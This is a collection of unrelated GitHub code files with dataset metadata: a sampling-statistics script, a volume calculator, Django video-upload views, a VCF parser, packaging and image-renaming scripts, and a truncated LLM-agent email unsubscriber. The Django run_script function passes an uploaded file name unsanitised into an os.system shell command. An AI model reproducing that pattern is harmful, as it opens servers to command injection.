statistics.stdev(mean_list)\nsd_mean = statistics.mean(mean_list)\nprint(\"mean of sample distribution is :\",sd_mean)\nprint(\"standard deviation of sample distribution is :\",sd_std)\nfirst_std_deviation_start,first_std_deviation_end = sd_mean-sd_std,sd_mean+sd_std\nsecond_std_deviation_start,second_std_deviation_end = sd_mean-(2*sd_std),sd_mean+(2*sd_std)\nthird_std_deviation_start,third_std_deviation_end = sd_mean-(3*sd_std),sd_mean+(3*sd_std)\ngraph = ff.create_distplot([mean_list],[\"Student Marks\"],show_hist=False)\ngraph.add_trace(go.Scatter(x=[sd_mean,sd_mean],y=[0,0.20],mode=\"lines\",name=\"MEAN\"))\ngraph.add_trace(go.Scatter(x=[first_std_deviation_start,first_std_deviation_start],y=[0,0.20],mode=\"lines\",name=\"1st SD start\"))\ngraph.add_trace(go.Scatter(x=[first_std_deviation_end,first_std_deviation_end],y=[0,0.20],mode=\"lines\",name=\"1st SD end\"))\ngraph.add_trace(go.Scatter(x=[second_std_deviation_start,second_std_deviation_start],y=[0,0.20],mode=\"lines\",name=\"2nd SD start\"))\ngraph.add_trace(go.Scatter(x=[second_std_deviation_end,second_std_deviation_end],y=[0,0.20],mode=\"lines\",name=\"2nd SD end\"))\ngraph.add_trace(go.Scatter(x=[third_std_deviation_start,third_std_deviation_start],y=[0,0.20],mode=\"lines\",name=\"3rd SD start\"))\ngraph.add_trace(go.Scatter(x=[third_std_deviation_end,third_std_deviation_end],y=[0,0.20],mode=\"lines\",name=\"3rd SD end\"))\ngraph.show()\ndf1 = pd.read_csv(\"SampleP.csv\")\ndata1 = df1[\"reading_time\"].tolist()\nmean_of_sample1 = statistics.mean(data1)\nprint(\"mean of sample 1 is \",mean_of_sample1)\nz_score = (mean_of_sample1 - sd_mean)/sd_std\nprint(\"the z score is \",z_score)\n\n", "repo_name": "SohamUpadhyay08/Project112", "sub_path": "Project.py", "file_name": "Project.py", "file_ext": "py", "file_size_in_byte": 2442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "plotly.figure_factory.create_distplot", "line_number": 10, "usage_type": "call"}, {"api_name": "plotly.figure_factory", "line_number": 10, "usage_type": "name"}, {"api_name": "statistics.mean", "line_number": 12, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 13, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 23, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 31, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 32, "usage_type": "call"}, {"api_name": "plotly.figure_factory.create_distplot", "line_number": 38, "usage_type": "call"}, {"api_name": "plotly.figure_factory", "line_number": 38, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 39, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 39, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 40, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 40, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 41, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 41, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 42, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 42, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 43, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 43, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 44, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 44, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 45, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 45, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 47, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 49, "usage_type": "call"}]} {"seq_id": "4485401920", "text": "\"\"\"\n========================================\nCalculates the volume of certain objects\n========================================\n\"\"\"\nfrom fractions import Fraction\nfrom rich.console import Console\nfrom rich.theme import Theme\nfrom rich import print\n\n# * Custom theme for rich\ncustom_theme = Theme({\n \"good\": \"green\",\n \"bad\": \"bold red\"\n})\n\nconsole = Console(theme=custom_theme)\n\n\nclass UI_Inputs():\n\n \"\"\"\n A class responsible for the inputs in the UI and basically anything that requires\n either the UI or inputs.\n \"\"\"\n\n def ask_for(self, prompt, error_msg=None, _type=None):\n \"\"\" While the desired prompt is not given, it repeats the prompt. \"\"\"\n while True:\n inp = input(prompt).strip()\n if not inp:\n if error_msg:\n print(error_msg)\n continue\n\n if _type:\n try:\n inp = _type(inp)\n except ValueError:\n if error_msg:\n print(error_msg)\n continue\n return inp\n\n def colored_input(self, string1='', string2='', string3='', color1='green', color2='red', divider='', has_input=False, input_msg='', _type=None, error_msg=None):\n \"\"\"\n prints out a colored and formatted print statement using the rich python library\n and can use input but it currently doesn't work.\n\n Args:\n string1 (str, optional): What you want the user to see, e.g the print statement. Defaults to ''.\n string2 (str, optional): the first part of the text to be colored. Defaults to ''.\n string3 (str, optional): the second part of the text to be colored. Defaults to ''.\n color1 (str, optional): first color. Defaults to 'green'.\n color2 (str, optional): second color. Defaults to 'red'.\n divider (str, optional): something to divide the colors. Defaults to ''.\n has_input (bool, optional): If you want input set to True. Defaults to False.\n input_msg (str, optional): input messsage, best left to empty string. Defaults to ''.\n _type ([type], optional): type you want to check for in input. Defaults to None.\n error_msg ([type], optional): error message if the type is not correct. Defaults to None.\n\n Returns:\n [type]: [description]\n \"\"\"\n # * message for the user to see\n msg1 = print(f'{string1}')\n\n # * the colored part of the text\n msg2 = print(\n f'[{color1}]{string2}[/{color1}]{divider}[{color2}]{string3}[/{color2}]')\n\n # * Checks if the input is True\n if has_input == True:\n inp = ask.ask_for(f'{input_msg}')\n return msg1, msg2\n\n def calc_type(self):\n \"\"\"\n While the user does not give v, volume, or vol,\n the prompt repeats.\n \"\"\"\n\n while True:\n print(\n 'Type [bold cyan]v[/bold cyan] [bold]or[/bold] [bold cyan]V[/bold cyan]:')\n result = ask.ask_for(\n ':', 'Not supported.', str)\n\n if result in ['v', 'volume', 'vol', 'V']:\n v.vol()\n break\n else:\n break\n\n\nask = UI_Inputs()\n\n\nclass Volume():\n \"\"\"\n Calculates the volume of a given object.\n\n Returns:\n Float/Int -- Based off what the user inputs into the program it outputs a floating point number or an integer.\n \"\"\"\n\n # * Setting up parameters that almost every object will need.\n def __init__(self, base=0, height=0, fraction=0, base_length=0, base_height=0):\n \"\"\"\n This is the basic format for just about every object that the vol method will use to calculate volume.\n\n / in this case means 'or'\n\n Keyword Arguments:\n base {int/float} -- Length of object (default: {0})\n height {int/float} -- Height of object (default: {0})\n fraction {int/float} -- If there is a fraction, this is the parameter. (default: {0})\n base_length {int/float} -- Length of a base (default: {0})\n base_height {int/float} -- Height of a base (default: {0})\n \"\"\"\n self.base = base\n self.height = height\n self.fraction = fraction\n self.base_length = base_length\n self.base_height = base_height\n\n def vol(self):\n \"\"\"\n This is the main method responsible for calculating the volume of the supported objects.\n\n Returns:\n Float/Int -- Using the parameters the user provides, it calculates the volume.\n \"\"\"\n\n print('\\n----------------------------')\n\n # * Asks the user if they are using a fraction or not.\n frac_question = ask.colored_input(\n string1='\\nAre you using a fraction?', string2='Y', string3='N', divider='/')\n using_frac = ask.ask_for(':', 'Not an answer', str)\n\n # * Asks the user if the object is or is not a triangular pyramid.\n tri_question = ask.colored_input(string1='\\nIs the object a triangular pyramid?', string2='Y',\n string3='N', divider='/')\n is_tri = ask.ask_for(':', 'Not an answer', str)\n\n # * Inputs to determine the area of a base.\n base_l = self.base_length = ask.ask_for(\n '\\nBase length: ', 'Not a base length', float)\n\n base_h = self.base_height = ask.ask_for(\n '\\nBase height: ', 'Not a base height', float)\n\n # * Inputs to determine the height of the object.\n h = self.height = ask.ask_for(\n '\\nHeight: ', 'Not a height', float)\n\n print('----------------------------')\n\n # * Area of a base\n base_area = base_l*base_h\n\n # * Asks the user if they are using a fraction, then if they are, uses the fraction module to convert the input to a fraction.\n if using_frac[0] == 'y':\n frac_question = ask.colored_input(\n string1='Please input the fraction you are using (Here is an example) ', string2='1', string3='3', divider='/')\n is_frac = ask.ask_for(':', 'Not an answer', str)\n\n print('----------------------------')\n\n # * Asks if the object is a triangle or is not a triangle.\n\n if is_tri[0] == 'y':\n # using the fraction module, if the user is using a fraction, in which case they have too, it passes the input into a Fraction method.\n f = Fraction(is_frac)\n # * Formula for triangular pyramid\n volume_calculation = f*0.5*base_area*h\n\n return print(f'The volume is {volume_calculation} units cubed.')\n\n # * If it is not a triangle, this code executes.\n else:\n f = Fraction(is_frac)\n # * Formula for objects that still require a fractional component.\n volume_calculation = f*base_area*h\n\n return print(f'\\nThe volume is {volume_calculation} units cubed.')\n\n if using_frac[0] == 'n':\n\n # * Formula for something like a rectangular prism.\n volume_calculation = base_area*h\n\n return print(f\"\\nThe volume is {volume_calculation} units cubed.\")\n\n\nv = Volume()\n\nif __name__ == \"__main__\":\n ask.calc_type()\n\n repeat = ''\n while True:\n\n # * Asks to repeat the script.\n print(\n '\\nWould you like to [bold green]repeat[/bold green] the program?')\n print('[green]Y[/green]/[red]N[/red]:')\n\n repeat = ask.ask_for(':', 'not an answer', str)\n\n if repeat[0] == 'y'.lower():\n ask.calc_type()\n continue\n if repeat[0] == 'n'.lower():\n break\n", "repo_name": "TheMartian32/Volume", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rich.theme.Theme", "line_number": 12, "usage_type": "call"}, {"api_name": "rich.console.Console", "line_number": 17, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 33, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 41, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 66, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 69, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 84, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 135, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 158, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 169, "usage_type": "call"}, {"api_name": "fractions.Fraction", "line_number": 175, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 179, "usage_type": "call"}, {"api_name": "fractions.Fraction", "line_number": 183, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 187, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 194, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 206, "usage_type": "call"}, {"api_name": "rich.print", "line_number": 208, "usage_type": "call"}]} {"seq_id": "1177535823", "text": "from django.shortcuts import render\nfrom .models import Document\nfrom .forms import DocumentForm\nfrom django.shortcuts import redirect\nfrom django.conf import settings\nfrom django.http import Http404\nfrom django.http import HttpResponse\nimport os\nimport threading\n\n\ndef some_script(_file_path):\n _another_file_path = _file_path\n return _another_file_path\n\n\ndef files_list(request):\n documents = Document.objects.all()\n return render(request, 'transformer/files_list.html', {'documents': documents})\n\n\ndef upload_new_file(request):\n if request.method == 'POST':\n form = DocumentForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('files_list')\n else:\n form = DocumentForm()\n return render(request, 'transformer/upload_new_file.html', {'form': form})\n\n\ndef run_on_file(request, pk):\n # path = \"/\".join(settings.MEDIA_ROOT.split(\"/\")[:-1])\n # documents = Document.objects.all()\n document = Document.objects.get(pk=pk)\n\n file_name = document.document.url.split(\"/\")[-1]\n file_name_without_ext = \"\".join(str(file_name).split(\".\")[:-1])\n\n storage = settings.MEDIA_ROOT + \"/videos/\"\n\n config_file_destination = \"/\".join(str(storage).split(\"/\")[:-2]) + \"/configs/\"\n flag = 'a'\n if os.path.exists(config_file_destination + file_name_without_ext):\n flag = 'w'\n with open(config_file_destination + file_name_without_ext, flag) as f:\n f.truncate()\n f.write(\"start=\" + str(document.config_start) + \"\\n\")\n f.write(\"stop=\" + str(document.config_end) + \"\\n\")\n f.write(\"num_machines=\" + str(document.num_machines))\n\n destination = \"/\".join(str(storage).split(\"/\")[:-2]) + \"/output\"\n destination_name = destination + \"/\" + file_name_without_ext + \"_mask.csv\"\n try:\n threading.Thread(target=run_script, args=(document, destination_name, file_name)).start()\n except:\n pass\n return redirect('files_list')\n # return render(request, 'transformer/files_list.html', {'documents': documents, 'path': path})\n\n\ndef download_file(request, pk):\n document = Document.objects.get(pk=pk)\n file_path = document.result_url\n if os.path.exists(file_path):\n with open(file_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/vnd.ms-excel\")\n response['Content-Disposition'] = 'inline; filename=' + os.path.basename(file_path)\n return response\n raise Http404\n\n\ndef run_script(document: Document, destination_name: str, file_name: str) -> None:\n video_file_extensions = [\"avi\", \"mkv\", \"flv\", \"m4v\", \"mpeg\"]\n if file_name.split(\".\")[-1] not in video_file_extensions:\n print(\"Wrong file format\")\n return\n if os.path.exists(destination_name):\n print(\"Already processed\")\n return\n os.putenv(\"DATA\", settings.MEDIA_ROOT)\n os.system(\"bash ~/tracker_docker/predict Mask_RCNN \" + file_name)\n if os.path.exists(destination_name):\n document.processed = True\n document.result_url = destination_name\n document.save()\n", "repo_name": "einstalek/web_storage", "sub_path": "transformer/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3102, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Document.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 18, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "forms.DocumentForm", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "forms.DocumentForm", "line_number": 29, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}, {"api_name": "models.Document.objects.get", "line_number": 36, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 36, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Document.objects.get", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 64, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "django.http.HttpResponse", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.http.Http404", "line_number": 71, "usage_type": "name"}, {"api_name": "models.Document", "line_number": 74, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.putenv", "line_number": 82, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 82, "usage_type": "name"}, {"api_name": "os.system", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}]} {"seq_id": "4703176399", "text": "from typing import Generic\nfrom typing import Optional\nfrom typing import TypeVar\n\nfrom .IEventHandler import IEventHandler\n\n\n__all__ = [\n \"IEventBus\",\n]\n\n\nE = TypeVar('E')\n\n\nclass IEventBus(Generic[E]):\n\n \"\"\"Event Bus.\"\"\"\n\n __slots__ = ()\n\n async def publish(self, event: E) -> None:\n \"\"\"Publish an event.\"\"\"\n raise NotImplementedError()\n\n async def attach_event_handler(\n self,\n event_handler: IEventHandler[E],\n event_type: Optional[E] = None,\n ) -> None:\n \"\"\"\n :raise AttributeError: If handler missing event annotation.\n \"\"\"\n raise NotImplementedError()\n\n async def detach_event_handler(\n self,\n event_handler: IEventHandler[E],\n event_type: Optional[E] = None,\n ) -> None:\n \"\"\"\n :raise AttributeError: If handler missing event annotation.\n :raise HandlerIsNotAttachedException:\n \"\"\"\n raise NotImplementedError()\n", "repo_name": "ergnoore/glassio", "sub_path": "glassio/event_bus/core/IEventBus.py", "file_name": "IEventBus.py", "file_ext": "py", "file_size_in_byte": 961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TypeVar", "line_number": 13, "usage_type": "call"}, {"api_name": "typing.Generic", "line_number": 16, "usage_type": "name"}, {"api_name": "IEventHandler.IEventHandler", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 29, "usage_type": "name"}, {"api_name": "IEventHandler.IEventHandler", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}]} {"seq_id": "3033089901", "text": "def run(path):\n import os\n from glob import glob\n vcf_list = glob(os.path.join(path,\"*.vcf\" ))\n print(os.path.join(path,\"/*.vcf\" ))\n my_rs = []\n for vcf in vcf_list:\n print(vcf)\n f = open(vcf,\"r\")\n fo = open(vcf.replace(\".vcf\",\".txt\").replace(\"GRCh38\",\"outputs\"),\"w\")\n lines = f.readlines()\n for line in lines:\n if (\"rs\" in line):\n lst = line.split(\"\\t\")\n for i in lst:\n if (\"rs\" in i and len(i) < 13):\n # print(i)\n my_rs.append(i)\n fo.write(i+\"\\n\")\n f.close()\n fo.close()\n\n set_rs = set(my_rs)\n print(\"Len of list rs: \", len(my_rs))\n print(\"Len of set rs: \", len(set_rs))\n num_features = len(set_rs)\n foo = open(\"features.txt\",\"w\")\n for rs in set_rs:\n foo.write(rs +\"\\n\")\n foo.close()\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(description='Create a set of features from *.vcf files')\n parser.add_argument('--path', type=str, \n help='Path to vcf folder')\n args = parser.parse_args()\n print(args.path)\n run(args.path)", "repo_name": "TrinhThiBaoAnh/Bioinformation", "sub_path": "read_vcf.py", "file_name": "read_vcf.py", "file_ext": "py", "file_size_in_byte": 1218, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "glob.glob", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 34, "usage_type": "call"}]} {"seq_id": "23494085316", "text": "from setuptools import setup, find_packages\nfrom os import path\nimport re\n\n\ndef packagefile(*relpath):\n return path.join(path.dirname(__file__), *relpath)\n\n\ndef read(*relpath):\n with open(packagefile(*relpath)) as f:\n return f.read()\n\n\ndef get_version(*relpath):\n match = re.search(\n r'''^__version__ = ['\"]([^'\"]*)['\"]''',\n read(*relpath),\n re.M\n )\n if not match:\n raise RuntimeError('Unable to find version string.')\n return match.group(1)\n\n\nsetup(\n name='mosestokenizer',\n version=get_version('src', 'mosestokenizer', '__init__.py'),\n description='Wrappers for several pre-processing scripts from the Moses'\n ' toolkit.',\n long_description=read('README.rst'),\n url='https://github.com/luismsgomes/mosestokenizer',\n author='Luís Gomes',\n author_email='luismsgomes@gmail.com',\n license='LGPLv2',\n # See https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'Topic :: Text Processing :: Linguistic',\n 'License :: OSI Approved :: GNU Lesser General Public License v2'\n ' or later (LGPLv2+)',\n 'Programming Language :: Python :: 3.5',\n ],\n keywords='text tokenization pre-processing',\n install_requires=[\n \"docopt\",\n \"openfile\",\n \"uctools\",\n \"toolwrapper\",\n ],\n packages=find_packages('src'),\n package_dir={'': 'src'},\n package_data={\n 'mosestokenizer': [\n '*.perl',\n 'nonbreaking_prefixes/*.*'\n ],\n },\n entry_points={\n 'console_scripts': [\n 'moses-tokenizer=mosestokenizer.tokenizer:main',\n 'moses-detokenizer=mosestokenizer.detokenizer:main',\n 'moses-punct-normalizer=mosestokenizer.punctnormalizer:main',\n 'moses-sent-splitter=mosestokenizer.sentsplitter:main'\n ],\n },\n)\n", "repo_name": "luismsgomes/mosestokenizer", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1971, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "re.search", "line_number": 16, "usage_type": "call"}, {"api_name": "re.M", "line_number": 19, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 26, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 52, "usage_type": "call"}]} {"seq_id": "9620773375", "text": "from PIL import Image, ImageFilter\nimport os, glob, sys\n\npath = '/home/etri/YOLO_dataset/add_dataset_all/'\nsave_path = '/home/etri/YOLO_dataset/add_dataset/'\n\nfileNames = os.listdir(path)\n\nimage_index = 683\n\nfor fileName in fileNames:\n image = Image.open(os.path.join(path, fileName)).convert('RGB')\n print(\"path : \" + os.path.join(path, fileName))\n\n new_path = os.path.join(save_path, str(image_index) + '.jpg')\n print(\"new_path : \" + new_path)\n image.save(new_path)\n image_index += 1\n", "repo_name": "JeongEunBae/ImageDataPreProcessing", "sub_path": "ImageFileName.py", "file_name": "ImageFileName.py", "file_ext": "py", "file_size_in_byte": 504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 7, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 12, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 12, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}]} {"seq_id": "41620354264", "text": "import os\r\n\r\nimport email\r\nimport imaplib\r\nimport logging\r\nfrom typing import Dict, List, Union, Optional\r\n\r\nimport toml\r\nfrom bs4 import BeautifulSoup\r\nfrom langchain.agents import AgentType, initialize_agent\r\nfrom langchain.agents.agent_toolkits import PlayWrightBrowserToolkit\r\nfrom langchain.chat_models import ChatOpenAI\r\nfrom langchain.tools.playwright.utils import create_sync_playwright_browser\r\nfrom pydantic import BaseModel\r\nfrom tqdm import tqdm\r\nfrom email.header import decode_header\r\n\r\n\"\"\"\r\nEmail Unsubscriber App\r\n\r\nThis script connects to a user's email account, fetches the last 100 emails,\r\nanalyzes them to determine if they are unwanted (e.g., marketing, newsletters),\r\nand provides an option to unsubscribe from them using Langchain and Playwright.\r\n\"\"\"\r\n\r\n# model_name = \"meta-llama/Llama-2-70b-chat-hf\"\r\nmodel_name = \"gpt-3.5-turbo\"\r\n\r\nlogger = logging.getLogger(__name__)\r\n# set log level to info\r\nlogger.setLevel(logging.INFO)\r\n\r\nsync_browser = create_sync_playwright_browser()\r\ntoolkit = PlayWrightBrowserToolkit.from_browser(sync_browser=sync_browser)\r\ntools = toolkit.get_tools()\r\n\r\nllm = ChatOpenAI(temperature=0.2, model_name=model_name)\r\n\r\nagent_chain = initialize_agent(\r\n tools=tools,\r\n llm=llm,\r\n agent=AgentType.STRUCTURED_CHAT_ZERO_SHOT_REACT_DESCRIPTION,\r\n verbose=True,\r\n)\r\n\r\n\r\nclass Config(BaseModel):\r\n \"\"\"\r\n Configuration model.\r\n \"\"\"\r\n\r\n imap_server: str\r\n email_address: str\r\n password: str\r\n\r\n\r\nclass Email(BaseModel):\r\n \"\"\"\r\n Email model.\r\n \"\"\"\r\n\r\n subject: str\r\n content: str\r\n from_address: str\r\n\r\n\r\ndef load_config(path: str = \"config.toml\") -> Config:\r\n \"\"\"\r\n Loads the configuration file.\r\n\r\n :param path: Path to the configuration file\r\n\r\n :return: Configuration dictionary\r\n \"\"\"\r\n # load from config.toml\r\n toml_config = toml.load(path)\r\n return Config(**toml_config)\r\n\r\n\r\ndef get_content(msg: email.message.Message) -> str:\r\n \"\"\"\r\n Gets the content of the email message.\r\n\r\n :param msg: Email message object\r\n :return: Email content\r\n \"\"\"\r\n if msg.is_multipart():\r\n parts = [get_content(part) for part in msg.get_payload()]\r\n return \"\\n\".join(parts)\r\n\r\n content_disposition = str(msg.get(\"Content-Disposition\"))\r\n\r\n # Ignore attachments\r\n if \"attachment\" not in content_disposition:\r\n payload = msg.get_payload(\r\n decode=True\r\n ) # Automatically decodes based on Content-Transfer-Encoding\r\n charset = msg.get_content_charset()\r\n if charset:\r\n return payload.decode(charset)\r\n else:\r\n return (\r\n payload.decode()\r\n ) # Fallback to default encoding if charset is not provided\r\n\r\n return \"\"\r\n\r\n\r\ndef decode_field(field: str) -> str:\r\n decoded_header = decode_header(field)\r\n field_parts = [\r\n part.decode(encoding or \"utf-8\") if isinstance(part, bytes) else part\r\n for part, encoding in decoded_header\r\n ]\r\n return \"\".join(field_parts)\r\n\r\n\r\ndef connect_to_email(\r\n imap_server: str, email_address: str, password: str\r\n) -> List[Email]:\r\n \"\"\"\r\n Connects to the email account and fetches the last 100 emails.\r\n\r\n :param imap_server: IMAP server address\r\n :param email_address: User's email address\r\n :param password: User's password\r\n :return: List of email messages\r\n \"\"\"\r\n logger.info(\"Connecting to email account\")\r\n mail = imaplib.IMAP4_SSL(imap_server)\r\n mail.login(email_address, password)\r\n logger.info(\"Connected to email account\")\r\n mail.select()\r\n typ, data = mail.search(None, \"ALL\")\r\n email_ids = data[0].split()[-100:]\r\n emails: List[Email] = []\r\n for e_id in tqdm(email_ids):\r\n logger.info(f\"Fetching email {e_id}\")\r\n typ, data = mail.fetch(e_id, \"(RFC822)\")\r\n raw_email = data[0][1]\r\n msg = email.message_from_bytes(raw_email)\r\n subj = msg.get(\"Subject\")\r\n print(subj)\r\n decoded_subj = decode_field(subj) # Decode the subject line\r\n from_address = msg.get(\"From\")\r\n decoded_from = decode_field(from_address) # Decode the from address\r\n content = get_content(msg)\r\n e = Email(\r\n subject=decoded_subj, content=content, from_address=decoded_from\r\n ) # Include the from address\r\n emails.append(e)\r\n mail.logout()\r\n return emails\r\n\r\n\r\ndef analyze_email(email_msg: Email) -> Dict[str, Union[str, bool]]:\r\n \"\"\"\r\n Analyzes the email to determine if it's unwanted.\r\n\r\n :param email_msg: Email message object\r\n :return: Result containing analysis details\r\n \"\"\"\r\n if \"unsubscribe\" in email_msg.content.lower():\r\n return {\"is_unwanted\": True}\r\n return {\"is_unwanted\": False}\r\n\r\n\r\ndef get_unsubscribe_url(email_content: Email) -> Optional[str]:\r\n \"\"\"\r\n Gets the unsubscribe URL from the email content.\r\n\r\n :param email_content: Email content\r\n :return: Unsubscribe URL\r\n \"\"\"\r\n soup = BeautifulSoup(email_content.content, \"html.parser\")\r\n unsubscribe_links = []\r\n\r\n for a_tag in soup.find_all(\"a\"):\r\n if \"unsubscribe\" in a_tag.text.lower() and \"http\" in a_tag[\"href\"]:\r\n unsubscribe_links.append(a_tag[\"href\"])\r\n\r\n if len(unsubscribe_links) > 0:\r\n return unsubscribe_links[-1]\r\n return None\r\n\r\n\r\ndef unsubscribe_from_email(url: str) -> None:\r\n \"\"\"\r\n Unsubscribes from the email using Langchain and Playwright.\r\n\r\n :param email_content: Email content\r\n \"\"\"\r\n result = agent_chain.run(\r\n \"Use the tools provided to unsubscribe from the email. The URL provided here\"\r\n \" is from an unsubscribe link originating in a marketing email. Nagivating to\"\r\n \" the URL should present a page or sequence that lets you click on buttons or\"\r\n \" links, or deselect checkboxes in order to unsubscribe from all marketing\"\r\n \" emails. With the browser tools provided, read and understand the content on\"\r\n \" the page and then interact with it to unsubscribe from all marketing emails.\"\r\n \" Be sure to use the ExtractTextTool and ExtractHyperlinksTool often to\"\r\n \" understand what you can click on and what the text of the page contains. The\"\r\n f\" URL to unsubscribe: {url}\"\r\n )\r\n print(result)\r\n\r\n\r\ndef interact_with_user(email_msg: Email) -> bool:\r\n \"\"\"\r\n Interacts with the user to get a choice for unsubscribing.\r\n\r\n :param email_msg: Email message object\r\n :return: True if the user wants to unsubscribe, False otherwise\r\n \"\"\"\r\n subject = email_msg.subject\r\n from_address = email_msg.from_address\r\n print(f\"Subject: {subject}\\tFrom: {from_address}\")\r\n choice = input(\"Do you want to unsubscribe from this email? (y/n): \")\r\n return choice.lower() == \"y\"\r\n\r\n\r\ndef main(imap_server: str, email_address: str, password: str) -> None:\r\n 